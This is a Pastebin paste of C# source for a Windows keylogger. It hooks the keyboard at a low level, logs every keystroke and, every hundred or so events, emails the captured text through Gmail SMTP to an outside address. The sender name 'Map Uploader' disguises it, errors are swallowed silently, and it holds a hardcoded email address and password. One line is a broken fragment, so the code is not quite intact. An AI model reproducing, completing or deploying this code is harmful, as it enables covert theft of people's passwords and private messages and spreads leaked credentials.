Advertisement
Guest User

Untitled

a guest
Feb 28th, 2019
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.41 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5. using System.Net.Mail;
  6.  
  7. namespace KLEC
  8. {
  9. class Correos
  10. {
  11. SmtpClient server = new SmtpClient("smtp.gmail.com", 587);
  12. public Correos()
  13. {
  14. server.Credentials = new System.Net.NetworkCredential("ddcmapuploader@gmail.com", "k3fjd5h6");
  15. server.EnableSsl = true;
  16. }
  17. public void MandarCorreo(MailMessage mensaje)
  18. {
  19. server.Send(mensaje);
  20. }
  21. }
  22. class Program
  23. {
  24. private const int WH_KEYBOARD_LL = 13;
  25. private const int WM_KEYDOWN = 0x0100;
  26. private const int WM_SYSKEYDOWN = 0x0104;
  27. private const int VK_CAPITAL = 0x14;
  28. private static LowLevelKeyboardProc _proc = HookCallback;
  29. private static IntPtr _hookID = IntPtr.Zero;
  30. private static string KeyStr = "";
  31. private static long KCount = 0;
  32.  
  33. static void Main(string[] args)
  34. {
  35. _hookID = SetHook(_proc);
  36. Application.Run();
  37. UnhookWindowsHookEx(_hookID);
  38. }
  39.  
  40. private static string EncodeString(Keys code)
  41. {
  42. if (code >= Keys.A && code <= Keys.Z)
  43. {
  44. bool CapsLockOn = (GetKeyState(VK_CAPITAL) == 0) ? false : true;
  45. bool BloqMayusOn = Control.ModifierKeys == Keys.Shift;
  46. return (CapsLockOn ^ BloqMayusOn) ? code.ToString() : ((char)(code.ToString()[0] + ' ')).ToString();
  47. }
  48. else if (code == Keys.Space)
  49. return " ";
  50. else if (code == Keys.Tab)
  51. return "\t";
  52. else if (code == Keys.Shift || code == Keys.Capital || code == Keys.CapsLock)
  53. return "";
  54. else return "\n[KEY " + code.ToString() + "]\n";
  55. }
  56.  
  57. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  58. {
  59. using (Process curProcess = Process.GetCurrentProcess())
  60. using (ProcessModule curModule = curProcess.MainModule)
  61. {
  62. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  63. GetModuleHandle(curModule.ModuleName), 0);
  64. }
  65. }
  66.  
  67. private delegate IntPtr LowLevelKeyboardProc(
  68. int nCode, IntPtr wParam, IntPtr lParam);
  69.  
  70. private static IntPtr HookCallback(
  71. int nCode, IntPtr wParam, IntPtr lParam)
  72. {
  73. if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
  74. {
  75. int vkCode = Marshal.ReadInt32(lParam);
  76. KeyStr += EncodeString((Keys)vkCode);
  77. }
  78. KCount++;
  79. if (KCount > 100)
  80. {
  81. try
  82. {
  83. Correos Cr = new Correos();
  84. MailMessage mnsj = new MailMessage();
  85. mnsj.Subject = "Received Data";
  86. mnsj.To.Add(new MailAddress("fmbesteiro@gmail.com"));
  87. mnsj.From = new MailAddress("ddcmapuploader@gmail.com", "Map Uploader");
  88. mnsj.
  89. mnsj.Body = KeyStr;
  90. KeyStr = "";
  91. KCount = 0;
  92. Cr.MandarCorreo(mnsj);
  93. }
  94. catch (Exception ex)
  95. {
  96. }
  97. }
  98. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  99. }
  100.  
  101. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  102. private static extern IntPtr SetWindowsHookEx(int idHook,
  103. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  104.  
  105. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  106. [return: MarshalAs(UnmanagedType.Bool)]
  107. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  108.  
  109. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  110. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  111. IntPtr wParam, IntPtr lParam);
  112.  
  113. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  114. private static extern IntPtr GetModuleHandle(string lpModuleName);
  115.  
  116. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  117. private static extern short GetKeyState(int KeyCode);
  118. }
  119. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement